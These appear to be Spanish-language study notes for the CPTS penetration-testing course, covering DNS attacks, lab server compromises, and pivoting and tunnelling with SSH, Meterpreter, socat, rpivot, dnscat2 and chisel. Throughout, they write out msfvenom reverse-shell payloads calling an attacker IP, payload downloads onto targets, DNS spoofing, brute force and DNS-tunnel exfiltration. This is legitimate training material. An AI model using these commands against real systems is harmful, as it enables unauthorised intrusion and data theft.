dig axfr @NAMESERVER.DOMAIN DOMAIN

![[Pasted image 20260626105530.png]]

  • Fierce: enumerar los servidores DNS del dominio raiz y buscar transferencia de zona
fierce --domain DOMAIN

![[Pasted image 20260626105629.png]]

Adquisicion de dominios y enumeracion de subdominios

Un domain takeover ocurre cuando un atacante registra un dominio que ha caducado o ya no está registrado y pasa a controlarlo. Si una organización todavía hace referencia a ese dominio, el atacante puede utilizarlo para alojar contenido malicioso o enviar correos de phishing aparentando ser legítimo

Un subdomain takeover es un caso similar, pero afecta a un subdominio. Sucede cuando ese subdominio apunta mediante un registro CNAME a un servicio externo (como AWS, GitHub Pages o Azure) que ya no está configurado o ha sido eliminado. Si un atacante reclama ese recurso en el servicio externo, obtiene el control del subdominio y puede publicar contenido o realizar ataques utilizando un subdominio legítimo de la organización.

![[Pasted image 20260626110114.png]]

Si obtenemos anotherdomain.com tendremos el control de sub.target.com hasta que se actualice el registro DNS

Enuemracion de subdominios

  1. Enuermar subdominios: Subfinder o DNSdumpster enumeran subdominios de fuentes abiertas
./subfinder -d DOMAIN -v

![[Pasted image 20260626110412.png]]

Alternativa: Subbrute

git clone https://github.com/TheRook/subbrute.git >> /dev/null 2>&1
cd subbrute
echo "NAMESERVER.inlanefreight.com" > ./resolvers.txt
./subbrute.py DOMAIN -s ./names.txt -r ./resolvers.txt

![[Pasted image 20260626110653.png]]

  1. Enuemrar los alias de los subdominios
host SUBDOMAIN

![[Pasted image 20260626110813.png]]

support apunta a un deposito de AWS S3 que ha visitarlo en https://support.inlanefreight.com, vemos que es NoSuchBucket que indica que el subdominio es potencialmente vulnerable a toma de control

![[Pasted image 20260626110935.png]]

Suplantacion de DNS o envenenamiento de cache DNS

Alterar registros DNS legitimos con informacion falsa para redirifgir el trafico a un sitio web fraudulente

Rutas de ataque:

  • Se intercepta la comunicacion entre usuario y servidor DNS para dirigir al usuario a un destino fraudulento (MITM)
  • Se explota una vuln en el servidor DNS que nos permita controlar y modificar los registros DNS

Envenenamiento de la cache local

Ettercap o Bettercap

  • Ettercap
  1. Editamos /etc/ettercap/etter.dns: asignamos el nombre del dominio que queremos falsificar y la direccion IP del atacante a la que redirigiremos a los usuarios:

![[Pasted image 20260626112058.png]]

  1. Iniciamos Ettercap y buscamos hosts activos dentro de la red: Hosts>Scan for Hosts
  2. Agregamos la direccion IP destino a Target1 y agregamos la IP de gateway

![[Pasted image 20260626112213.png]]

  1. Activamos el dns_spoof: Plugins>Manage Plugins. Esto envia a la maquina destino la respuestas DNS falsas que resolveran el dominio en nuestra direccion IP

![[Pasted image 20260626112349.png]]

  1. Si en la maquina destino visitan el dominio se redigira a la pagina fake ![[Pasted image 20260626112434.png]]

Y si hacemos un ping desde la maquina comprometida veremos que resuelve en nuestra IP

![[Pasted image 20260626112519.png]]

Ejemplo practico

  1. Obtenemos el ns del dominio inlanefreight.htb

![[Pasted image 20260626114202.png]]

  1. Tratamos de hacer una transferencia de zona pero falla

![[Pasted image 20260626114223.png]]![[Pasted image 20260626114235.png]]

  1. Hacemos una busqueda en bases de datos publicas

![[Pasted image 20260626114949.png]]

  1. Intentamos hacer una transferencia de zonas en este nuevo subdominio

![[Pasted image 20260626115051.png]]

CPTS

1. Facil

Dominio: inlanefreight.htb

Primer servidor gestiona correos electrónicos, clientes y sus archivos

  1. Introducimos el dominio en el /etc/host

![[Pasted image 20260626154909.png]]

  1. Realizamos un escaneo de servicios

![[Pasted image 20260626155647.png]]![[Pasted image 20260626155700.png]]

  1. Vamos probando cosas en diferentes servicios

![[Pasted image 20260626160752.png]] ![[Pasted image 20260626160759.png]] ![[Pasted image 20260626160740.png]]

  1. Encontramos enumerando los usuarios de SMTP el usuario “[email protected]

![[Pasted image 20260626161052.png]]![[Pasted image 20260626162959.png]]

  1. No nos deja loggearnos en FTP por lo que intentamos en MySQL. Al intentar buscar algo en las bases de datos y no encontrar nada tratamos de ver si tenemos privs para leer directamente el archivo

![[Pasted image 20260626163352.png]]![[Pasted image 20260626163520.png]]

![[Pasted image 20260626163853.png]]![[Pasted image 20260626164043.png]]

CPTS

2. Medio

Segundo servidor que gestiona y almacena correos electrónicos y archivos, y sirve como copia de seguridad de algunos de los procesos de la empresa

  1. Enumeracion del host

![[Pasted image 20260626200333.png]]

  1. Probamos diferentes cosas en los servicios expuestos

![[Pasted image 20260626200433.png]] ![[Pasted image 20260626200923.png]]![[Pasted image 20260626200943.png]]![[Pasted image 20260626201744.png]]

  1. No encontramos nada asique miramos todos los puertos por si hay algo que nos hayamos dejado

![[Pasted image 20260626201759.png]] ![[Pasted image 20260626202010.png]]

  1. Nos podemos conectar sin creds a este nuevo ftp

![[Pasted image 20260626202152.png]]

  1. Usamos el archivo para ver si sirven las creds para simon

![[Pasted image 20260626202347.png]]

  1. Nos conectamos y obtenemos la flag

![[Pasted image 20260626202419.png]]![[Pasted image 20260626202437.png]]

CPTS

3. Dificil

Ultimo servidor interno utilizado para gestionar archivos y material de trabajo y se utiliza una base de datos en el servidor

  1. Enumeramos el host

![[Pasted image 20260628122413.png]]

  1. Entramos a smb como anomimo y conseguimos los archivos necesarios

![[Pasted image 20260628122604.png]]![[Pasted image 20260628122612.png]]

  1. Hacemos fuerza bruta contra el usuario fiona

![[Pasted image 20260628123043.png]]

  1. Nos logueamos via RDP y una vez dentro podemos iniciar sesion como john en SQL Server y ejecutar comandos en sql linkeados remotos

![[Pasted image 20260628123129.png]]

Cambiamos el contexto a john Comprobamos si es sysadmin Verificamos si hay servidores linkeados Vemos dos, el actual y local.test.linked.srv, ahi miramos la flag

![[Pasted image 20260628124613.png]]

CPTS

1. Movimiento Lateral Vs Pivoting Vs Tunelizacion

https://www.drawio.com/

Movimiento lateral

Tecnica usada para ampliar nuestro acceso hacia hosts, aplicaciones o servicios adicionales. Tambien puede ayudarnos a obtener acceso a recursos especificos para elevar privs

Pivoting

Usar multiples hosts para cruzar limites de la red a los que antes no se tendria acceso. El objetivo es permitirnos adentrarnos mas en la red comprometiendo hosts o infraestructuras especificas

Tunelizacion

Usar varios protocolos para transportar el trafico de dentro y fuera de una red para que nuestro trafico no sea detectado. La clave aqui es la ofuscacion de nuestras acciones para evitar la deteccion

Se suele usar HTTPS o SSH

Conceptos para el pivoting

NIC e intefaces de red

DHCP ya sea dinamica o estaticamente nos asigna un NIC (Controlador de Interfaz de Red):

Comandos para Linux y Windows para ver nuestras interfaces (cada una tendra un identificador como ethX o tunX):

ifconfig
ipconfig

![[Pasted image 20260703140449.png]]![[Pasted image 20260703140500.png]]

Enrutamiento

Cualquier ordenador se puede convertir en un router y participar en el enrutamiento para darnos acceso a nuevas secciones de la red. Usaremos estos hosts para que nos enrute a esas nuevas secciones

Estas maquinas que actuan como routers tienen una tabla de enrutamiento que se usa para reenviar el trafico que les llega basandose en la direccion IP destino

netstat -r
ip route

![[Pasted image 20260703140829.png]]

CPTS

1. Redireccion De Puertos Local Via SSH Y Redireccion Socks Via Proxychains

Redireccion de puertos: tecnica que nos permite redirigir el trafico de un puerto a otro

Se suele usar TCP, SSH o SOCKS y suele ser EFECTIVO PARA EVADIR FIREWALLS usando servicios existentes en el host remoto

Redireccion local de puertos con SSH

![[Pasted image 20260703141842.png]]

  1. Hacemos que SSH este configurado para escuchar por el puerto 1234
  2. Cuando ejecutamos comandos hacia el host por el puerto 1234, SSH (puerto 22) los encapsula y reenvia 3306 (MySQL, en este caso localmente, podria ser a otra maquina de la red) interactuando con su servicio de base de datos y permitiendonos interactuar con MySQL como si estuviera localmente aunque no sea accesible desde nuestra maquina

Esto se suele usar cuando o MySQL no permite ejecuciones remotas, solo locales o cuando queremos usar MySQL Workbench pero desde la conexion de SSH no podemos al solo tener la terminal (son ejemplos)

Pasos:

  1. Escaneamos el host destino
sudo nmap -Pn -sS -sVC IP

![[Pasted image 20260703142724.png]]

  1. Creamos el tunel de redireccion local (enviara todo lo que le enviemos por 1234 al 3306 local)
ssh -L 1234:localhost:3306 USER@IP

![[Pasted image 20260703142801.png]]

O se pueden redirigir multiples puertos:

ssh -L PUERTOLISTENER:localhost:PUERTOREENVIO -L PUERTOLISTENER:localhost:PUERTOREENVIO USER@IP
  1. Confirmamos la redireccion (vemos que hay un listener en el 1234)
netstat -antp | grep 1234

![[Pasted image 20260703142935.png]]

nmap -sV -p1234 localhost

![[Pasted image 20260703143031.png]]

Tunelizacion SSH con SOCKS (Proxychains)

Esto se hace para poder alcanzar todas las interfaces del host remoto y asi acceder a nuevas secciones de red

  1. Ahora si hacemos ifconfig veremos una de las intefaces conectada a nuestro host
ifconfig

![[Pasted image 20260703145111.png]]

  1. Podemos realizar un escaneo de red ens224 (172.16.5.0/23) para descubrir hosts y servicios (no podemos hacer esto desde nuestro host de ataque porque no hay rutas hacia esa red por lo que tendremos que crear tunelizacion SSH sobre un proxy SOCKS)

![[Pasted image 20260703145515.png]]

El trafico inicial es generado por un cliente SOCKS que se conecta a un servidor SOCKS controlador por el usuario que quiere acceder a un servicios del lado del cliente

Se suele usar para evadir restricciones de firewalls.

  • Se inicia un cliente SSH y solicita al servidor SSH que le permita enviar datos via TCP a traves de un socket SSH
  • El servidor responde con un ACK de recibido y el cliente empieza a escuchar por el puerto 9050
  • Cualquier dato recibido por el puerto 9050 sera transmitiod a toda la red (172.16.5.0/23) a traves de SSH
ssh -D 9050 USER@IP

-D PUERTO: habilita la redireccion de puertos dinamica

  1. Configuramos el archivo /etc/proxychains.conf
sudo nano /etc/proxychains.conf

![[Pasted image 20260703150145.png]]

  1. Ejecutamos comandos que se redirigiran hacia la red interna (no podemos usar -sS porque proxychains no entiende paquetes de transporte parciales necesitamos SYN, SYN/ACK, ACK)
proxychains nmap -sn 172.16.5.1-200

![[Pasted image 20260703150250.png]]

  1. Escaneamos un host
proxychains nmap -Pn -sT IP

![[Pasted image 20260703151015.png]]

Proxychains con MSF

proxychains msfconsole -q
search rdp_scanner
use 0
set rhosts IP
run

Podemos ver que el puerto 3389 RDP esta abierto y el SO

![[Pasted image 20260703151211.png]]

Ejemplo de inicio de sesion RDP

proxychains xfreerdp3 /v:IP /u:USER /p:PASS

![[Pasted image 20260703151315.png]]![[Pasted image 20260703151322.png]]

Ejemplo practico

  1. Nos conectamos via SSH y miramos las interfaces a las que tiene acceso el host ![[Pasted image 20260703152730.png]]![[Pasted image 20260703152748.png]]

  2. Para acceder a la otra interfaz desde nuestra Kali creamos un tunel SOCKS mediante proxychains para poder ejecutar comandos en la interfaz de la red interna

![[Pasted image 20260703152820.png]]

  1. Configuramos proxychains, revisamos que el puerto 3389 y host de la red interna esten activos y nos conectamos via RDP

![[Pasted image 20260703152945.png]]![[Pasted image 20260703153151.png]]![[Pasted image 20260703153355.png]]

CPTS

2. Redireccion De Puertos Remota Via SSH

En este caso tenemos la situacion de que tenemos al igual que antes un host interno Windows al que podemos conectarnos via RDP

![[Pasted image 20260703154020.png]]

Podemos acceder a el mediante proxychains, pero si tratamos de realizar un reverse shell o que nos envie un archivo directamente, como lo hacemos?

  • Host atacante = kali
  • Host pivote = ubuntu
  • Host objetivo = windows

Vamos a tratar de crear esa reverse shell:

  1. Creamos la shell meterpreter con msfvenom
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=IP_INTENRA_HOST_PIVOTE -f exe -o NOMBRE.exe LPORT=8080

![[Pasted image 20260703154401.png]]

  1. Configuramos el multi/handler
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 8000
run

![[Pasted image 20260703154524.png]]

  1. Pasamos el payload al host pivote con scp
scp NOMBRE.exe USER@IP_PUBLICA_HOST_PIVOTE:./

![[Pasted image 20260703154613.png]]

  1. En el servidor Ubunto o host pivote creamos un servidor HTTP
python3 -m http.server 8123

![[Pasted image 20260703154709.png]]

  1. Desde el host destino descargamos el script
Invoke-WebRequest -Uri "http://IP_INTERNA_HOST_PIVOTE:8123/NOMBRE.exe" -OutFile "C:\NOMBRE.exe"

![[Pasted image 20260703154848.png]]

  1. Usamos la redireccion de puertos remota en SSH desde nuestra Kali para redirigir las conexiones hacia 8080 del servidor Ubuntu hacia el 8000 del host Kali donde esta el listener msfconsole
ssh -R IP_INTENA_HOST_PIVOTE:8080:0.0.0.0:8000 USER@IP_PUBLICA_HOST_PIVOTE -vN

![[Pasted image 20260703155306.png]]

  1. Ejecutamos el payload en el host objetivo
  2. Obtenemos la reverse shell en el listener MSF

![[Pasted image 20260703155625.png]]

Ejemplo practico

Tras realizar el proxychains explicado en [[1. Redireccion de puertos LOCAL via SSH y Redireccion SOCKS via Proxychains]] empezamos:

![[Pasted image 20260703155923.png]]

  1. Creamos el payload ![[Pasted image 20260703162807.png]]

  2. Creamos el listener ![[Pasted image 20260703160454.png]]

  3. Pasamos el payload al pivot ![[Pasted image 20260703160617.png]]

  4. Pasamos el payload del pivot al objetivo ![[Pasted image 20260703160713.png]]![[Pasted image 20260703160721.png]]![[Pasted image 20260703161347.png]]![[Pasted image 20260703161401.png]]

  5. Creamos la redireccion remota de puertos ![[Pasted image 20260703162427.png]]

  6. Ejecutamos el payload ![[Pasted image 20260703162953.png]]![[Pasted image 20260703163027.png]]

CPTS

3. Tunelizacion Y Redireccion De Puertos Con Meterpreter

Vamos a suponer que tenes un shell Meterpreter en el host Pivot Ubuntu y queremos ejecutar escaneos a la red interna a traves de este pivot

  1. Creamos la shell Meterpreter en el host Pivot Ubuntu
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=IP_KALI LPORT=8080 -f elf -o NOMBRE 

![[Pasted image 20260703173626.png]]

  1. Iniciamos el listener, en este caso con multi/handler
msfconsole -q
> set payload linux/x64/meterpreter/reverse_tcp
> set lport 8080
> set lhost 0.0.0.0
> run

![[Pasted image 20260703174028.png]]

  1. Pasamos el payload al ubuntu
scp ARCHIVO USER@IP:./
chmod +x ARCHIVO
./ARCHIVO

![[Pasted image 20260703174119.png]]

  1. Obtenemos el meterpreter ![[Pasted image 20260703174137.png]]

Ping_sweep

Intentar al menos dos veces ya que la tabla ARP tarda en construirse y podria dar errores en un primer intento

  1. Desde meterpreter usamos modulos de MSF para realizar ping_sweep
meterpreter> run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23

![[Pasted image 20260703174258.png]]

Ejemplos con bucles for:

  • Linux:
for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done
  • Windows CMD:
for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"
  • Windows PS:
1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.16.5.$($_) -quiet)"}

Escaneo TCP

Si el firewall no permite paquetes ICMP y ping no da respuesta

  1. Configuramos el Proxy SOCKS
meterpreter> CTL Z
msfconsole> use auxiliary/server/socks_proxy
> set SRVPORT 9050
> set SRVHOST 0.0.0.0
> set version 4a
> run
> jobs

![[Pasted image 20260703174838.png]]![[Pasted image 20260703174845.png]]

  1. Revisar /etc/proxychains
tail -n 5 /etc/proxychains.conf

![[Pasted image 20260703174926.png]]

  1. Por ultimo indicamos al modulo socks_proxy que enrute todo el trafico a traves de la sesion de meterpreter creando una ruta autoroute
  • Opcion desde MSF
msfconsole> use post/multi/manage/autoroute
set session N
set subnet 172.16.5.0
run

![[Pasted image 20260703175609.png]]

  • Opcion desde Meterpreter
session N
meterpreter> run autoroute -s 172.16.5.0/23

![[Pasted image 20260703175651.png]]

  1. Listamos las rutas activas
meterpreter> run autoroute -p

![[Pasted image 20260703175756.png]]

  1. Ahora podemos usar proxychains desde la terminal normal de la kali
proxychains nmap -Pn -sT -p3389 IP 

![[Pasted image 20260703175902.png]]

Redireccion de puertos

Podemos ejecutar un listener en nuestra maquina atacante y que el Meterpreter redirija todos los paquetes recibidos en este puerto hacia el host remoto en la red 172.16.5.0/23

  1. Creamos la redireccion: se inicia un listener en el puerto local 3300 y redirige todos los paquetes al servidor Windows en la IP 172.16.5.19 a su puerto 3389
meterpreter> portfwd add -l 3300 -p 3389 -r 172.16.5.19
  1. Ejecutamos RDP en nuestro puerto local 3300
xfreerdp /u:USER /p:PASS /v:localhost:3300

Redireccion de puertos inversa en Meterpreter

Para enviar por ejemplo las shells remotas que reciba el Windows (host objetivo de la red interna) al Linux (host pivote) y este ultimo lo reenvie a nuestra Kali (host atacante)

  1. Creamos la redireccion de puertos inversa
meterpreter> portfwd add -R -l 8081 -p 1234 -L IP_Kali
  1. Configuramos el multi/handler
meterpreter> bg
msf> use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LPORT 8081
set LHOST 0.0.0.0
run
  1. Creamos el payload de reverse shell que enviara una reverse shell al puerto 1234 del Ubuntu y este nos lo reenviara por el puerto 8081
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP_HOST_PIVOTE_INTERNA LPORT=1234 -f exe -o NOMBRE.exe 

![[Pasted image 20260704112938.png]]

  1. Lo pasamos primero al host pivote y luego al host objetivo
scp NOMBRE.exe USER@IP_PUBLICA_HOST_PIVOTE:./
python3 -m http.server 8123
Invoke-WebRequest -Uri "http://IP_INTERNA_HOST_PIVOTE:8123/NOMBRE.exe" -OutFile "C:\NOMBRE.exe"
  1. Ejecutamos el reverse shell y obtenemos la shell en Meterpreter

![[Pasted image 20260704113118.png]]

Ejemplo practico

  1. Creamos el reverse shell de meterpreter para Ubuntu (host pivote) ![[Pasted image 20260704113454.png]]

  2. Lo pasamos al host pivote, creamos un listener en MSF y lo ejecutamos ![[Pasted image 20260704113612.png]]![[Pasted image 20260704113829.png]]![[Pasted image 20260704113956.png]] ![[Pasted image 20260704114015.png]]![[Pasted image 20260704114023.png]]

  3. Realizamos un ping sweep dentro de la red ![[Pasted image 20260704114545.png]]

  4. Vamos a crear un tunel sock (proxychains) ![[Pasted image 20260704114737.png]]

  5. Creamos una ruta para que el proxychains se ejecute dentro de la subred 172.16.5.0/23 ![[Pasted image 20260704115052.png]]

  6. Usamos proxychains para conectarnos al host objetivo ![[Pasted image 20260704115326.png]]

  7. Creamos un reverse shell que apunte al host pivote ![[Pasted image 20260704115506.png]]

  8. Creamos la redireccion de puertos inversa en meterpreter para lo que se envie al puerto 1234 de Ubuntu nos lo reenvie a nosotros

![[Pasted image 20260704115620.png]]

  1. Creamos nuestro listener

![[Pasted image 20260704115743.png]]![[Pasted image 20260704115750.png]]

  1. Desde Linux pasamos el rshellw a Windows

![[Pasted image 20260704115936.png]]![[Pasted image 20260704120129.png]]

  1. Ejecutamos y obtenemos el meterpreter reverse shell de Windows

![[Pasted image 20260704120229.png]] ![[Pasted image 20260704120244.png]]

CPTS

1. Reverse Shell

Socat: herramienta de retransmision bidireccional que puede crear sockets entre 2 canales de red independientes sin usar SSH

Actua como redireccionador que puede escuchar en un host por un puerto y reenviarlo a otra direccion IP y puerto

  1. Iniciamos listener en MSF
msfconsole -q
> set payload linux/x64/meterpreter/reverse_tcp
> set lport 80
> set lhost 0.0.0.0
> run
  1. Iniciamos el listener sockat en Ubuntu (host pivote)
socat TCP4-LISTEN:8080,fork TCP4:IP_Kali:80
  1. Creamos el payload para Windows que apuntara la reverse shell a Linux y nos la reenviara a nuestra Kali
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=IP_HOST_PIVOTE_INTERNA LPORT=8080 -f exe -o NOMBRE.exe
  1. Lo pasamos al host objetivo Windows
scp NOMBRE.exe USER@IP_PUBLICA_HOST_PIVOTE:./
python3 -m http.server 8123
Invoke-WebRequest -Uri "http://IP_INTERNA_HOST_PIVOTE:8123/NOMBRE.exe" -OutFile "C:\NOMBRE.exe"
  1. Ejecutamos el reverse shell en Windows y obtenemos el shell

![[Pasted image 20260704121040.png]]

Ejemplo practico

  1. Creamos los payloads de reverse shell para Windows y Linux

![[Pasted image 20260704121553.png]]

  1. Pasamos ambos al Linux mediante scp

![[Pasted image 20260704121612.png]]

  1. Creamos un listener en MSF y ejecutamos el reverse shell de Linux (host pivote)

![[Pasted image 20260704121644.png]]

  1. Creamos la redireccion de puertos mediante proxychains para poder conectarnos via RDP al host objetivo a traves del host pivote ![[Pasted image 20260704121718.png]]![[Pasted image 20260704121807.png]]

  2. Nos conectamos al host objetivo mediante RDP y proxychains ![[Pasted image 20260704122007.png]]

  3. Pasamos el archivo rshellw al Windows desde el host pivote

![[Pasted image 20260704121956.png]]

  1. Iniciamos otro listener en MSF que sera al que nos reenvien la reverse shell de Windows ![[Pasted image 20260704122753.png]] ![[Pasted image 20260704122109.png]]

  2. Creamos la redireccion con SOCAT para que nos reenvie lo que le llegue por el puerto 1234 a nosotros por nuestro puerto 80 ![[Pasted image 20260704122516.png]]![[Pasted image 20260704122501.png]]

  3. Ejecutamos en Windows el reverse shell y obtemos la sesion Meterpreter

![[Pasted image 20260704122842.png]] ![[Pasted image 20260704122833.png]]

CPTS

2. Bind Shell

En este caso el listener estara en el Windows que se vinculara a un puerto particular. Al mismo tiempo habremos creado un rediccionador en el pivote que enviara la binario del host atacante al windows

![[Pasted image 20260704123428.png]]

  1. Creamos el payload bind shell
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8443 -f exe -o NOMBRE.exe 
  1. Pasamos el bind shell al host objetivo
scp NOMBRE.exe USER@IP_PUBLICA_HOST_PIVOTE:./
python3 -m http.server 8123
Invoke-WebRequest -Uri "http://IP_INTERNA_HOST_PIVOTE:8123/NOMBRE.exe" -OutFile "C:\NOMBRE.exe"
  1. Creamos el redireccionador socat en el host pivote
socat TCP4-LISTEN:8080,fork TCP4:IP_HOST_OBJETIVO:8443
  1. Iniciamos el multi/handler de bind en MSF
msfconsole> use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST IP_HOST_PIVOTE_PUBLICA
set LPORT 8080
run

![[Pasted image 20260704123745.png]]

  1. Lo ejecutamos y obtenemos el shell ![[Pasted image 20260704123907.png]]

Ejemplo practico

Una vez creado el proxychains y ya conectados via RDP al host objetivo podemos empezar

  1. Creamos el payload y lo pasamos al host objetivo

![[Pasted image 20260704124117.png]]![[Pasted image 20260704124152.png]]![[Pasted image 20260704124300.png]]![[Pasted image 20260704124306.png]]

  1. Creamos el redireccionador con socat

![[Pasted image 20260704124448.png]]

  1. Creamos el listener en MSF

![[Pasted image 20260704124615.png]]

  1. Ejecutamos y obtenemos la shell

![[Pasted image 20260704124912.png]]![[Pasted image 20260704124920.png]]

CPTS

1. SSH Para Windows (plink.exe Y Proxifier)

Plink: herramienta SSH para Windows que tambien se puede usar para crear redirecciones

Suele estar en maquinas antiguas que contienen el paquete PuTTY o que tienen una copia de esta

Imagina que nos encontramos desde una maquina Windows en vez de una Linux o Kali para hacer el pivoting

![[Pasted image 20260704133158.png]]

  1. Iniciamos la redireccion de puertos dinamica (proxychains)
plink -ssh -D 9050 USER@IP_HOST_PIVOTE

Ejemplo de uso de Proxifier

Proxifier: herramienta que puede ser usada para iniciar un tunel SOCKS a traves de la sesion SSH que hemos creado

Crea una red tunelizada para aplicaciones de cliente de escritorio

  1. Lo configuramos para:
  • 127.0.0.1
  • Puerto 9050

![[Pasted image 20260704133555.png]]

  1. Podemos usar mstsc.exe para iniciar una sesion RDP en el host Windows objetivo interno

CPTS

2. Pivoting SSH Con Sshuttle

Sshuttle: herramienta de Python que elimina la necesidad de configurar proxychains pero solo funciona sobre SSH

  1. Instalamos la herramienta
sudo apt install sshuttle

![[Pasted image 20260704134300.png]]

  1. Ejecutamos sshuttle: -r nos permite conectarnos a la maquina remota (host pivote). Necesitamos incluir la red o IP que queremos enrutar a traves del host pivote

Esto crea una entrada en iptables que redirige todo el trafico hacia la red interna a traves del host pivote

sudo sshuttle -r USER@IP_HOST_PIVOTE_PUBLICA IP_RED/mascara 

![[Pasted image 20260704134438.png]]

  1. Ejecutamos comandos dentro de la red interna
sudo nmap -Pn -sT -p3389 IP_HOST_OBJETIVOD

![[Pasted image 20260704134610.png]]

Ejemplo practico

  1. Configuramos la redireccion de puertos ![[Pasted image 20260704134927.png]]

  2. Ejecutamos comandos a la red interna

![[Pasted image 20260704135112.png]]

CPTS

3. Pivoting En Servidores WEB Con Rpivot

Rpivot: heramienta que crea un túnel SOCKS inverso desde un equipo de la red interna hacia el atacante, permitiendo que éste enrute su tráfico a través del equipo comprometido para acceder a otros sistemas de la red interna

![[Pasted image 20260704140010.png]]

  1. Clonamos el repositorio de Rpivot
git clone https://github.com/klsecservices/rpivot.git
  1. Iniciamos nuestro servidor proxy SOCKS de rpivot para conectarnos a nuestro cliente en el servidor Ubuntu (host pivote)
python2 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0
  1. Transferimos rpivot al objetivo (host pivote)
scp -r rpivot USER@IP_HOST_PIVOTE_PUBLICA:./
  1. Ejecutamos el cliente rpivot en el host pivote
python2 client.py --server-ip IP_Kali --server-port 9999
  1. Ejecutamos comandos mediante proxychains para poder ejecutarlos en la red interna
proxychains firefox-esr IP_HOST_OBJETIVO:80

![[Pasted image 20260704140459.png]]

Proxy HTTP y Autenticacion NTLM

Puede que el KDC tenga configurado un proxy HTTP con autenticacion NTLM por lo que debemos especificar en la parte de cliente la autenticacion NTLM para que el pivote puede llegar a nuestro host de ataque

python client.py --server-ip IP_Kali --server-port 8080 --ntlm-proxy-ip IP_PROXY_HTTP --ntlm-proxy-port 8081 --domain DOMAIN --username USER --password PASS

IP_PROXY_HTTP: suele ser otra maquina con servicio proxy y en pocas ocasiones es el propio servidor web. Si hicieramos nmap a ese host IP_PROXY_HTTP veriamos:

![[Pasted image 20260704141427.png]]

Ejemplo practico

  1. Pasamos rpivot al host pivote ![[Pasted image 20260704141650.png]]

  2. Creamos el servidor en la maquina de ataque

![[Pasted image 20260704141757.png]]

  1. Creamos el cliente en la maquina pivote

![[Pasted image 20260704141921.png]]

  1. Ejecutamos comandos a la red interna con proxychains

![[Pasted image 20260704142345.png]]

CPTS

4. Redireccion De Puertos Con Netsh De Windows

Netsh: herramienta de Windows que ayuda a la configuracion de red de un sistema Windows

![[Pasted image 20260704151953.png]]

  1. Usamos netsh.exe para redirigir todos los datos recibidos en un puerto a un host remoto a su puerto remoto
netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddres=IP_HOST_PIVOTE_PUBLICA connectport=3389 connectaddres=IP_HOST_OBJETIVO
  1. Verificamos la redireccion de puertos
netsh.exe interface portproxy show v4tov4

![[Pasted image 20260704152247.png]]

  1. Nos conectamos al puerto 3389 del host objetivo a traves del puerto 8080 del host pivote
xfreerdp3 /u:USER /p:PASS /v:IP_HOST_PIVOTE_PUBLICA:8080

![[Pasted image 20260704152423.png]]

Ejemplo practico

  1. Nos conectamos al host pivote via RDP ![[Pasted image 20260704152709.png]]

  2. Creamos el redireccionador en el host pivote

![[Pasted image 20260704153033.png]]

  1. Nos conectamos al puerto 8080 del host pivote que nos redirigira al puerto 3389 del host objetivo

![[Pasted image 20260704153226.png]]

CPTS

1. Tunelizacion DNS Con Dnscat2

Dnscat2: herramienta de tunelizacion que usa el protocolo DNS para enviar datos entre dos hosts. Envia los datos dentro de registros TXT del protocolo DNS

En general en cada AD hay un NS que resuelve los nombres de hosts a IP y enruta el trafico a servidores DNS externos si es necesario

Con Dnscat se solicita a un servidor externo. Este se hace cuando un servidor DNS local trata de resolver una direccion, en lugar de una solicitud legitima se exfiltran datos y se envian a traves de red (Dnscat es muy sigiloso para exfiltrar datos)

  1. Clonamos dnscat2
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/ 
sudo gem install bundler 
sudo bundle install
  1. Iniciamos nuestro servidor dnscat2 en la kali
sudo ruby dsncat2.rb --dns host=IP_Kali,port=53,domain=DOMAIN --no-cache

![[Pasted image 20260704170112.png]]

Este nos habra proporcionado una clave secreta que debemos indicar en el cliente para cifrar los datos enviados entre cliente y servidor

  1. Creamos el cliente: podemos usar el que viene con dnscat2 o dnscat2-powershell
git clone https://github.com/lukebaggett/dnscat2-powershell.git
  • Lo transferimos al host objetivo
PS> Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver IP_Kali -Domain DOMAIN -PreSharedSecret CLAVE_SECRETA_SERVIDOR -Exec cmd
  1. Tendremos una sesion establecida en nuestra kali ![[Pasted image 20260704170459.png]]

  2. Interactuamos con las sesiones

dnscat2> window -i 1
cmd>

![[Pasted image 20260704170611.png]]

Ejemplo practico

  1. Creamos el servidor en nuestra kali ![[Pasted image 20260704170921.png]]

  2. Clonamos la herramienta de PS para el Windows ![[Pasted image 20260704171036.png]]

  3. Nos conectamos via RDP al Windows y nos pasamos un recurso compartido donde se encuentra la herramienta de PS

![[Pasted image 20260704171448.png]]

  1. La copiamos y pegamos en el escritorio para mayor comodidad

![[Pasted image 20260704172012.png]]![[Pasted image 20260704171532.png]]

  1. Ejecutamos el cliente y obtenemos una sesion en el servidor

![[Pasted image 20260704171748.png]]

  1. Iniciamos la session obtenida y obtenemos una shell

![[Pasted image 20260704171854.png]]

CPTS

2. Tunelizacion SOCKS5 Con Chisel

Chisel: herramienta de tunelizacion basada en TCP/UDP que usa HTTP para transportar datos que se aseguran mediante SSH. Puede crear una conexion cliente servidor en un entorno protegido por un firewall

![[Pasted image 20260705005834.png]]

  1. Clonamos el repositorio de Chisel o descargarla de Realeases
git clone https://github.com/jpillora/chisel.git
  1. Compilar
cd chisel
go build
  1. Transferir el binario Chisel
scp chisel USER@IP:./

![[Pasted image 20260705010147.png]]

  1. Ejecutamos server chisel en el host pivote
./chisel server -v -p 1234 --socks5

![[Pasted image 20260705010224.png]]

  1. Conexion con el servidor Chisel como client desde nuestra kali
./chisel client -v IP_HOST_PIVOTE_PUBLICA:1234 socks

![[Pasted image 20260705010338.png]]

  1. Condifuracion de proxychains para el SOCKS5
sudo nano /etc/proxchains4.conf

![[Pasted image 20260705010513.png]]

